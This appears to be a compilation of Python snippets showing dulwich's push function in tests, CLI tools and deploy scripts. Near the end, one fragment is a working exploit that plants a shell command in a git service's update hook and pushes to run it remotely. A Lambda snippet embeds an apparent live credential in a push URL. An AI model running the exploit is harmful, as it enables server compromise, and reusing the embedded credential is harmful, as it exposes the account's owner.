def create_repo(self, localpath, repo_name): # change dir ori_dir = os.getcwd() os.chdir(localpath) print(ori_dir, localpath, os.getcwd()) # create local repo repo = git.init('.') # set correct user to commit config = repo.get_config() config.set('user', 'name', self.config['NAME']) config.set('user', 'email', self.config['EMAIL']) config.write_to_path() # add untracked files to git index stats = git.status(repo) git.add(repo, stats.untracked) # commit git.commit(repo, 'Initialized') # create github repo github_repo = None try: github_repo = self.organization.get_repo(repo_name) except: github_repo = self.organization.create_repo(repo_name) pass # push to github repo git.push(repo, github_repo.ssh_url, 'master') os.chdir(ori_dir) pass
def test_delete(self): """Basic test of porcelain push, removing a branch. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, clone_path) target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) target_repo.close() # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" new_id = self.repo[b'HEAD'].id self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id # Push to the remote porcelain.push(clone_path, self.repo.path, b":" + refs_path, outstream=outstream, errstream=errstream) self.assertEqual({ b'HEAD': new_id, b'refs/heads/master': new_id, }, self.repo.get_refs())
def test_delete(self): """Basic test of porcelain push, removing a branch. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'author <email>', committer=b'committer <email>') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, clone_path) target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) target_repo.close() # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" new_id = self.repo[b'HEAD'].id self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id # Push to the remote porcelain.push(clone_path, self.repo.path, b":" + refs_path, outstream=outstream, errstream=errstream) self.assertEqual({ b'HEAD': new_id, b'refs/heads/master': new_id, }, self.repo.get_refs())
def git_push(args): parser = argparse.ArgumentParser(prog='git push' , usage='git push [http(s)://<remote repo> or remote] [-u username[:password]]' , description="Push to a remote repository") parser.add_argument('url', type=str, nargs='?', help='URL to push to') parser.add_argument('-u', metavar='username[:password]', type=str, required=False, help='username[:password]') result = parser.parse_args(args) user, sep, pw = result.u.partition(':') if result.u else (None,None,None) repo = _get_repo() origin='origin' if not result.url: result.url = repo.remotes.get('origin','') if result.url in repo.remotes: origin=result.url result.url=repo.remotes.get(origin) branch_name = os.path.join('refs','heads', repo.active_branch) #'refs/heads/%s' % repo.active_branch print "Attempting to push to: {0}, branch: {1}".format(result.url, branch_name) netloc = urlparse.urlparse(result.url).netloc keychainservice = 'stash.git.{0}'.format(netloc) if sep and not user: # -u : clears keychain for this server for service in keychain.get_services(): if service[0]==keychainservice: keychain.delete_password(*service) #Attempt to retrieve user if not user and SAVE_PASSWORDS and result.url.startswith('http'): try: user = dict(keychain.get_services())[keychainservice] except KeyError: user = raw_input('Enter username: '******'Enter password: '******'Enter credentials for {0}'.format(netloc)) if user: if not pw and SAVE_PASSWORDS: pw = keychain.get_password(keychainservice, user) #Check again, did we retrieve a password? if not pw: user, pw = console.login_alert('Enter credentials for {0}'.format(netloc), login=user) #pw = getpass.getpass('Enter password for {0}: '.format(user)) host_with_auth='{}:{}@{}'.format(user,pw,netloc) url=urlparse.urlunparse( urlparse.urlparse(result.url)._replace( netloc=host_with_auth)) porcelain.push(repo.repo.path, url, branch_name) keychain.set_password(keychainservice, user, pw) else: porcelain.push(repo.repo.path, result.url, branch_name) print 'success!'
def lambda_handler(event, context): print('local repo creation started') local_repo = Repo.init('/tmp/css_download', mkdir=True) print('local repo creation successful') s3 = boto3.resource('s3') print('local repo creation ended') for record in event['Records']: bucket = record['s3']['bucket']['name'] key = record['s3']['object']['key'] print(key) break s3local = '/tmp/aws.zip' s3final = '/tmp/css_download' s3.Bucket(bucket).download_file(key, s3local) list = os.listdir('/tmp/') print(list) zip_ref = zipfile.ZipFile(s3local, 'r') zip_ref.extractall(s3final) zip_ref.close() list = os.listdir('/tmp/css_download/') print(list) print('Stage started') Repo.stage(local_repo, list) print('Commit started') Repo.do_commit(local_repo, b"new commit", committer=b"sandeep <*****@*****.**>") print('Push started') porcelain.push( "/tmp/css_download", "https://sandeep.s.k-at-574112450463:N2YDDTf+71bXZUNZjiF6YKFDGYXgPsIhI1GxbIVm+Wg=@git-codecommit.us-east-2.amazonaws.com/v1/repos/css-repo", "master") print('Push successful')
def push(self, repo_user, repo_pass, repo_remote, repo_branch): """Push the current commit to git.""" try: if repo_pass: porcelain.push( self.repo, "https://{}:{}@{}".format(repo_user, repo_pass, repo_remote), bytes(repo_branch, "utf-8")) else: porcelain.push(self.repo, "git@{}".format(repo_remote), bytes(repo_branch, "utf-8")) except dulwich.errors.GitProtocolError: raise InvalidCommand( "Upload file failed: GitProtocolError - Check your username and password in the git configuration..." ) except KeyError: raise InvalidCommand( "Upload file failed: KeyError - Check your git configuration for missing keys..." ) except TypeError: raise InvalidCommand( "Upload file failed: TypeError - Did you forget to create a git configuration?" ) except Exception: log.exception("GitHandler::push()") raise InvalidCommand( "Upload file failed: Unknown - Please check your log files...")
def load(self): """ Override load method to ensure the bare repository will be synchronized with the base one as tests can modify its content. """ if with_pack_files: # ensure HEAD ref will be the same for both repositories with open(os.path.join(bare_repo_path, "HEAD"), "wb") as fw: with open(os.path.join(destination_path, ".git/HEAD"), "rb") as fr: head_ref = fr.read() fw.write(head_ref) # push possibly modified refs in the base repository to the bare one for ref in repo.refs.allkeys(): if ref != b"HEAD" or head_ref in repo.refs: push( repo, remote_location=f"file://{bare_repo_path}", refspecs=ref, ) # generate or update the info/refs file used in dumb protocol subprocess.run( ["git", "-C", bare_repo_path, "update-server-info"], check=True, ) return super().load()
def _dulwich_push(self, remote_location, refs_path): """Remote push with dulwich.porcelain :param repo : Path to repository :param remote_location: Location of the remote :param refs_path: relative path to the refs to push to remote """ push(self.config['top_dir'], remote_location, refs_path)
def push(self) -> bool: """ push the skills changes to AliceSK upstream :return: """ push(repo=self.repo, remote_location=self.getRemote(), refspecs=b'master') return True
def run(self, args): parser = optparse.OptionParser() options, args = parser.parse_args(args) if len(args) < 2: print("Usage: dulwich push TO-LOCATION REFSPEC..") sys.exit(1) to_location = args[0] refspecs = args[1:] porcelain.push('.', to_location, refspecs)
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'author <email>', committer=b'committer <email>') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() self.addCleanup(shutil.rmtree, clone_path) target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) try: self.assertEqual(target_repo[b'HEAD'], self.repo[b'HEAD']) finally: target_repo.close() # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) os.close(handle) porcelain.add(repo=clone_path, paths=[fullpath]) porcelain.commit(repo=clone_path, message=b'push', author=b'author <email>', committer=b'committer <email>') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" new_id = self.repo[b'HEAD'].id self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id # Push to the remote porcelain.push(clone_path, self.repo.path, b"HEAD:" + refs_path, outstream=outstream, errstream=errstream) # Check that the target and source with Repo(clone_path) as r_clone: self.assertEqual({ b'HEAD': new_id, b'refs/heads/foo': r_clone[b'HEAD'].id, b'refs/heads/master': new_id, }, self.repo.get_refs()) self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def commit(self, message, push=True): """ commit to repo and optionally push to remote """ self.rwrepo.do_commit( message=message.encode('utf-8'), ref=b'refs/heads/master', tree=self.rwtree.id ) if push: porcelain.push(self.rwrepo, self.repo_url, 'master')
def push(self): try: refs_path = b"refs/heads/master" new_id = self.repo[b'HEAD'].id #self.assertNotEqual(new_id, ZERO_SHA) self.repo.refs[refs_path] = new_id p.push( self.repo.path,self.cloned_from, b"HEAD:" + refs_path) except Exception as e: print e print "Error"
def push(self, remote_location=None, branch=None): branch = branch or self.active_branch() or 'master' # print("branch_to_push:",branch) remote_location = remote_location or self.remote_location if not remote_location: raise Exception('Remote location is not given.') repo = self.repo self.stage() git.commit(repo, 'bare gitspace commit') git.push(repo, remote_location, branch)
def demo(): url = "git://github.com/Peiiii/piudb" # git.clone(url) import os rpath = os.path.basename(url) open(rpath + '/testgit.txt', 'a').write('hi\n') r = Repo(rpath) git.add(r, rpath + '/testgit.txt') git.commit(r, b'sample commit') git.push(r, url, 'master')
def push_callback(user,pw): print "Attempting to push to: {0}, branch: {1}".format(remote, branch_name) console.show_activity() if user: opener = auth_urllib2_opener(None, remote, user, pw) porcelain.push(repo.path, remote, branch_name, opener=opener) keychain.set_password(keychainservice, user, pw) else: porcelain.push(repo.repo, result.url, branch_name) console.hide_activity() console.hud_alert('push complete')
def git_push(args): parser = argparse.ArgumentParser(prog='git push' , usage='git push [http(s)://<remote repo>] [-u username[:password]]' , description="Push to a remote repository") parser.add_argument('url', type=str, nargs='?', help='URL to push to') parser.add_argument('-u', metavar='username[:password]', type=str, required=False, help='username[:password]') result = parser.parse_args(args) user, sep, pw = result.u.partition(':') if result.u else (None,None,None) repo = _get_repo() #Try to get the remote origin if not result.url: result.url = repo.remotes.get('origin','') branch_name = os.path.join('refs','heads', repo.active_branch) #'refs/heads/%s' % repo.active_branch print "Attempting to push to: {0}, branch: {1}".format(result.url, branch_name) netloc = urlparse.urlparse(result.url).netloc keychainservice = 'shellista.git.{0}'.format(netloc) if sep and not user: # -u : clears keychain for this server for service in keychain.get_services(): if service[0]==keychainservice: keychain.delete_password(*service) #Attempt to retrieve user if not user and SAVE_PASSWORDS: try: user = dict(keychain.get_services())[keychainservice] except KeyError: user, pw = console.login_alert('Enter credentials for {0}'.format(netloc)) if user: if not pw and SAVE_PASSWORDS: pw = keychain.get_password(keychainservice, user) #Check again, did we retrieve a password? if not pw: user, pw = console.login_alert('Enter credentials for {0}'.format(netloc), login=user) #pw = getpass.getpass('Enter password for {0}: '.format(user)) opener = auth_urllib2_opener(None, result.url, user, pw) print porcelain.push(repo.repo, result.url, branch_name, opener=opener) keychain.set_password(keychainservice, user, pw) else: print porcelain.push(repo.repo, result.url, branch_name)
def push(self, workspace, username=None, password=None, branches=None, **kw): outstream = BytesIO() errstream = BytesIO() push_target = self.get_remote(workspace, username=username, password=password) try: # push_target = "file://" + push_target porcelain.push(repo=workspace.working_dir, remote_location=push_target, refspecs=[], outstream=outstream, errstream=errstream) except NotGitRepository as e: errstream.write(b'Not a Git repository ' + push_target.encode()) return outstream.getvalue().decode(), errstream.getvalue().decode()
def process(input): gh_username = setup.get_gh_username() gh_password = setup.decrypt_password() gh = github.Github(gh_username, gh_password) click.echo(chalk.blue('you are in git module')) click.echo('input = %s' % input) CONFIG_FILE_PATH = config_file_paths['CONFIG_FILE_PATH'] CONFIG_FOLDER_PATH = get_folder_path_from_file_path(CONFIG_FILE_PATH) repo = porcelain.init(CONFIG_FOLDER_PATH) porcelain.add(repo) porcelain.commit(repo, "A sample commit") porcelain.remote_add(repo, ".yoda", "https://github.com/manparvesh/.yoda") porcelain.push(repo, "https://github.com/manparvesh/.yoda")
def update_git(page, new_md, username, user): filename = "/tmp/source/%s.md" % page with open(filename, "w") as text_file: text_file.write(new_md) porcelain.add('/tmp/source', filename) author = user.get_string('full_name') + ' <' + username + '@invalid>' committer = 'lambda <*****@*****.**>' print('committing') porcelain.commit('/tmp/source', "Page '%s' updated" % page, author=author, committer=committer) print('pushing') porcelain.push('/tmp/source', os.environ['SOURCE_GIT_URL'], 'refs/heads/master') print('pushed')
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) os.close(handle) porcelain.add(repo=clone_path, paths=[os.path.basename(fullpath)]) porcelain.commit(repo=clone_path, message=b'push', author=b'', committer=b'') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" self.repo[refs_path] = self.repo[b'HEAD'] # Push to the remote porcelain.push(clone_path, self.repo.path, refs_path, outstream=outstream, errstream=errstream) # Check that the target and source r_clone = Repo(clone_path) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list( tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def _git_push(self): try: if self.git_repo: with Repo(self.git_repo) as repo: config = repo.get_config() remote_url = config.get(("remote".encode(), "origin".encode()), "url".encode()).decode() client.get_ssh_vendor = ParamikoSSHVendor try: porcelain.push(repo, remote_url, 'master', password=self.settings['ssh_password']) except ssh_exception.SSHException as e: self.q.put([Action.add_error, _("Failed to push to git: {}").format(str(e))]) return except FileLocked: print("File locked when trying to push, giving up on this push")
def commit_and_push(version: str, repository: Repository) -> None: """ Commit and push all changes. """ local_repository = Repo('.') paths = ['CHANGELOG.rst'] _, ignored = add(paths=paths) assert not ignored message = b'Update for release ' + version.encode('utf-8') commit(message=message) branch_name = 'master' push( repo=local_repository, remote_location=repository.ssh_url, refspecs=branch_name.encode('utf-8'), )
def commit_and_push(version: str) -> None: """ Commit and push all changes. """ repo = Repo('.') paths = ['dcosdocker.rb', 'CHANGELOG.rst', 'vagrant/Vagrantfile'] _, ignored = add(paths=paths) assert not ignored message = b'Update for release ' + version.encode('utf-8') commit(message=message) branch_name = 'master' push( repo=repo, remote_location='[email protected]:mesosphere/dcos-e2e.git', refspecs=branch_name.encode('utf-8'), )
def upload(self, cmd: str, meta: dict): index = os.path.join(self.cached_repo, INDEX_FILE) if os.path.exists(index): os.remove(index) self._log.info("Writing the new index.json ...") with open(index, "w") as _out: json.dump(self.contents, _out) # implementation of git add --all is pretty bad, changing directory is the easiest way os.chdir(self.cached_repo) git.add() git.commit(message=self.COMMIT_MESSAGES[cmd].format(**meta)) self._log.info("Pushing the updated index ...") # TODO: change when https://github.com/dulwich/dulwich/issues/631 gets addressed git.push(self.cached_repo, self.remote_url, b"master") if self._are_local_and_remote_heads_different(): self._log.error("Push has failed") raise ValueError
def push(self): QApplication.setOverrideCursor(Qt.WaitCursor) username = self.username.text() userid = self.userid.text() password = self.password.text() reponame = self.reponame.text() settings = QSettings(QSettings.IniFormat, QSettings.UserScope, QCoreApplication.organizationName(), QCoreApplication.applicationName()) settings.setValue("github.userid", userid) settings.setValue("github.username", username) settings.setValue("github.reponame", reponame) os.chdir(self.site_path) gitpath = os.path.join(self.site_path, ".git") if os.path.exists(gitpath): repo = porcelain.open_repo(self.site_path) else: repo = porcelain.init(self.site_path) for r, dirs, files in os.walk(self.site_path): for f in files: p = os.path.join(r, f)[len(self.site_path) + 1:] if not ".git" in p: porcelain.add(repo, p) self.html = "<p>adding: " + p + "</p>" + self.html self.browser.setHtml(self.html) QCoreApplication.processEvents() self.html = "<p>Commiting changes</p>" + self.html self.browser.setHtml(self.html) QCoreApplication.processEvents() porcelain.commit(repo, b"A sample commit") self.html = "<p>Pushing to server</p>" + self.html self.browser.setHtml(self.html) QCoreApplication.processEvents() porcelain.push( self.site_path, "https://" + userid + ":" + password + "@github.com/" + username + "/" + reponame + ".git", "master") self.html = "<p>Ready</p>" + self.html self.browser.setHtml(self.html) QCoreApplication.processEvents() QApplication.restoreOverrideCursor()
def push_code_update(c, git_ref): """ Synchronize the remote code repository """ git_remote_url = "ssh://{user}@{host}:{port}/{directory}".format( user=c.conn.user, host=c.conn.host, port=c.conn.port, directory=c.conn.project_root, ) # Now push our code to the remote, always as FABHEAD branch porcelain.push(local_project_root, git_remote_url, "{}:FABHEAD".format(git_ref)) with c.conn.cd(c.conn.project_root): c.conn.git("checkout -f -B master FABHEAD", hide=True) c.conn.git("branch -d FABHEAD", hide=True) c.conn.git("submodule update --init", hide=True)
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = BytesIO() errstream = BytesIO() porcelain.commit(repo=self.repo.path, message=b'init', author=b'', committer=b'') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() target_repo = porcelain.clone(self.repo.path, target=clone_path, errstream=errstream) target_repo.close() # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) os.close(handle) porcelain.add(repo=clone_path, paths=[os.path.basename(fullpath)]) porcelain.commit(repo=clone_path, message=b'push', author=b'', committer=b'') # Setup a non-checked out branch in the remote refs_path = b"refs/heads/foo" self.repo[refs_path] = self.repo[b'HEAD'] # Push to the remote porcelain.push(clone_path, self.repo.path, refs_path, outstream=outstream, errstream=errstream) # Check that the target and source with closing(Repo(clone_path)) as r_clone: # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo[b'HEAD'].tree, self.repo[b'refs/heads/foo'].tree))[0] self.assertEqual(r_clone[b'HEAD'].id, self.repo[refs_path].id) self.assertEqual(os.path.basename(fullpath), change.new.path.decode('ascii'))
def push_callback(user, pw): print "Attempting to push to: {0}, branch: {1}".format(remote, branch_name) console.show_activity() if user: try: parsedurl = urlparse.urlparse(remote) host_with_auth = '{}:{}@{}'.format( user, pw, parsedurl.netloc) url = urlparse.urlunparse( parsedurl._replace(netloc=host_with_auth)) porcelain.push(repo.path, url, branch_name) keychain.set_password(keychainservice, user, pw) except urllib2.URLError: console.hide_activity() console.hud_alert('push failed', 'error') return else: porcelain.push(repo.repo, result.url, branch_name) console.hide_activity() console.hud_alert('push complete')
def update(repo_url, logger=None): if logger: logger.info("Updating docs for: %s", repo_url) else: print("Updating docs for: %s" % repo_url) try: shutil.rmtree(package_folder_name) except: pass repo = porcelain.clone(package_git_url, package_folder_name) refspecs = b"HEAD:refs/heads/%s" %package_git_branch porcelain.pull(repo, package_git_url, refspecs = refspecs) repo_url = repo_url.split("\n")[0] repo_name = repo_url.split('/')[-1] readme_md, readme_name = loadReadme(repo_url) readme_md, readme_title = addTitleToReadme(readme_md, repo_url) readme_md = addEditLink(readme_md, readme_name, repo_url) updateMenu(readme_md, repo_name, repo) updateReadmePage(readme_md, repo_name, repo) updateLandingPage(readme_title, repo) staged = porcelain.status(repo).staged if (len(staged['add']) == 0) and (len(staged['modify']) == 0): if logger: logger.info("No changes to commit") else: print("No changes to commit") else: if logger: logger.info("Commiting changes for %s", repo_name) else: print("Commiting changes for %s" % repo_name) porcelain.commit(repo, b"Updated docs for %s" % repo_name) porcelain.push(repo, package_git_url, refspecs = refspecs) try: shutil.rmtree(package_folder_name) except Exception, err: if logger: logger.exception(err) else: print(err)
def test_simple(self): """ Basic test of porcelain push where self.repo is the remote. First clone the remote, commit a file to the clone, then push the changes back to the remote. """ outstream = StringIO() errstream = StringIO() porcelain.commit(repo=self.repo.path, message='init', author='', committer='') # Setup target repo cloned from temp test repo clone_path = tempfile.mkdtemp() porcelain.clone(self.repo.path, target=clone_path, outstream=outstream) # create a second file to be pushed back to origin handle, fullpath = tempfile.mkstemp(dir=clone_path) porcelain.add(repo=clone_path, paths=[os.path.basename(fullpath)]) porcelain.commit(repo=clone_path, message='push', author='', committer='') # Setup a non-checked out branch in the remote refs_path = os.path.join('refs', 'heads', 'foo') self.repo[refs_path] = self.repo['HEAD'] # Push to the remote porcelain.push(clone_path, self.repo.path, refs_path, outstream=outstream, errstream=errstream) # Check that the target and source r_clone = Repo(clone_path) # Get the change in the target repo corresponding to the add # this will be in the foo branch. change = list(tree_changes(self.repo, self.repo['HEAD'].tree, self.repo['refs/heads/foo'].tree))[0] self.assertEquals(r_clone['HEAD'].id, self.repo[refs_path].id) self.assertEquals(os.path.basename(fullpath), change.new.path)
def git_push_to_origin(ui, admin, file_list, message, worker_text): # local_appdata = os.getenv('LOCALAPPDATA') # credentials_file = os.path.join(os.getenv('LOCALAPPDATA'),"LaMA", "credentials","developer_credentials.txt") if admin == True: access_token = get_access_token('developer') else: access_token = get_access_token('user') repo = porcelain.open_repo(database) if admin == True: status = porcelain.status(repo) repo.stage(status.unstaged + status.untracked) # print(status.unstaged) # print(status.untracked) if status.unstaged == [] and status.untracked == []: # information_window("Es wurden keine Änderungen gefunden.") return False for file in file_list: file_path = os.path.join(database, file) porcelain.add(repo, paths=file_path) ui.label.setText("{} (27%)".format(worker_text)) if admin == True: mode = 'Administrator' else: mode = 'User' porcelain.commit(repo, message="New Update ({0}) - {1}".format(mode, message)) ui.label.setText("{} (84%)".format(worker_text)) porcelain.push( repo, "https://*****:*****@github.com/chrisiweb/lama_latest_update.git". format(access_token), "master") ui.label.setText("{} (100%)".format(worker_text)) return True
def push(name, api, domain): repo = git.Repo(os.getcwd()) branch = "temp-{}".format(str(uuid.uuid4())[:8]) set_deploy_branch(name, branch, api, domain) remote = git_url(name, api, domain) if is_dirty(): print("Nuking changes.") git.reset(repo, "hard") with TempBranch(branch, repo, delete=True): for fname, file_info in openshift_files.items(): with open(fname, 'w') as f: f.write(file_info.get("contents", "")) repo.stage(fname) repo.do_commit("Commit openshift files") push_out = StringIO() push_err = StringIO() print("Pushing to openshift (may take a few minutes)") git.push(repo, remote, "refs/heads/{}".format(branch), outstream=push_out, errstream=push_err) push_out.seek(0) out = push_out.read() if not re.match(r'^Push to .* successful.', out): print("There was a failure while pushing") print("---BEGIN STDERR---") push_err.seek(0) print(push_err.read()) print("---BEGIN STDOUT---") print(out) print("There was a failure while pushing") git.rm(repo, openshift_files.keys()) map(os.remove, openshift_files.keys()) return get_app(name, api, domain)['app_url']
def safe_push(github_repo, dulwich_repo, branch): """ Push if branch doesn't already exist in remote """ # TODO check if to branch already exists if any(b.name == branch for b in github_repo.get_branches()): fatal_error( 'Branch "' + branch + '" already exists for ' + REPOS + 'itory "' + github_repo.name + '"' ) try: # Force push seems to be required by dulwich, but we check for the branch existing beforehand porcelain.push(dulwich_repo, refspecs=branch, force=True) except AttributeError as e: # Ignore failed push if e.__str__() != "'NoneType' object has no attribute 'encode'": fatal_error(e) except Exception as e: fatal_error(e)
def upload(self, cmd: str, meta: dict): """Push the current state of the registry to Git.""" index = os.path.join(self.cached_repo, self.INDEX_FILE) if os.path.exists(index): os.remove(index) self._log.info("Writing the new index.json ...") with open(index, "w") as _out: json.dump(self.contents, _out) git.add(self.cached_repo, [index]) message = self.COMMIT_MESSAGES[cmd].format(**meta) if self.signoff: global_conf_path = os.path.expanduser("~/.gitconfig") if os.path.exists(global_conf_path): with open(global_conf_path, "br") as _in: conf = ConfigFile.from_file(_in) try: name = conf.get(b"user", b"name").decode() email = conf.get(b"user", b"email").decode() message += self.DCO_MESSAGE.format(name=name, email=email) except KeyError: self._log.warning( "Did not find name or email in %s, committing without DCO.", global_conf_path) else: self._log.warning( "Global git configuration file %s does not exist, " "committing without DCO.", global_conf_path) else: self._log.info("Committing the index without DCO.") git.commit(self.cached_repo, message=message) self._log.info("Pushing the updated index ...") # TODO: change when https://github.com/dulwich/dulwich/issues/631 gets addressed git.push(self.cached_repo, self.remote_url, b"master") if self._are_local_and_remote_heads_different(): self._log.error("Push has failed") raise ValueError("Push has failed")
def push_code_update(c, git_ref): """ Synchronize the remote code repository """ with c.conn.cd(c.conn.project_root): # First, check that the remote deployment directory exists try: c.conn.run("test -d .", hide=True) except UnexpectedExit: raise Exit( "Provisioning not finished, directory {} doesn't exist!". format(c.config["root"])) # Now make sure there's git, and a git repository try: c.conn.git("--version", hide=True) except UnexpectedExit: raise Exit("Provisioning not finished, git not available!") try: c.conn.git("rev-parse --git-dir", hide=True) except UnexpectedExit: c.conn.git("init") git_remote_url = "ssh://{user}@{host}:{port}/{directory}".format( user=c.conn.user, host=c.conn.host, port=c.conn.port, directory=c.conn.project_root, ) # Now push our code to the remote, always as FABHEAD branch porcelain.push(".", git_remote_url, "{}:FABHEAD".format(git_ref)) with c.conn.cd(c.conn.project_root): c.conn.git("checkout -f -B master FABHEAD", hide=True) c.conn.git("branch -d FABHEAD", hide=True) c.conn.git("submodule update --init", hide=True)
# # Example usage: # python examples/memoryrepo.py git+ssh://github.com/jelmer/testrepo import stat import sys from dulwich import porcelain from dulwich.objects import Blob from dulwich.repo import MemoryRepo local_repo = MemoryRepo() local_repo.refs.set_symbolic_ref(b'HEAD', b'refs/heads/master') print(local_repo.refs.as_dict()) porcelain.fetch(local_repo, sys.argv[1]) local_repo['refs/heads/master'] = local_repo['refs/remotes/origin/master'] last_tree = local_repo[local_repo['HEAD'].tree] new_blob = Blob.from_string(b'Some contents') local_repo.object_store.add_object(new_blob) last_tree.add(b'test', stat.S_IFREG, new_blob.id) local_repo.object_store.add_object(last_tree) local_repo.do_commit( message=b'Add a file called \'test\'', ref=b'refs/heads/master', tree=last_tree.id) porcelain.push(local_repo, sys.argv[1], 'master')
csrf = get_csrf('repo/create') admin_repo_name = get_random() print "[+] Try create repo {}".format(admin_repo_name) repo_post = s.post("{}repo/create".format(url), data={'_csrf':csrf, 'uid':user_id, 'repo_name':admin_repo_name, 'readme': 'Default', 'auto_init':'on'}, allow_redirects=False) if repo_post.status_code != 302: print "[-] Cannot create admin repo" os._exit(0) csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name)) hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False) if hook_posts.status_code != 302: print "[-] Cannot updatehook" os._exit(0) clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name) temp_repo_dir = get_random() r = porcelain.clone(clone_url, temp_repo_dir) porcelain.commit(r, get_random()) porcelain.push(r, clone_url, "master") command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name)) if command_output.status_code != 200: print "[-] Cannot get exploit output" os._exit(0) print command_output.text.encode("utf-8")
def push(self): try: p.push( self.cloned_from , self.repo.path) except Exception as e: print e print "Error"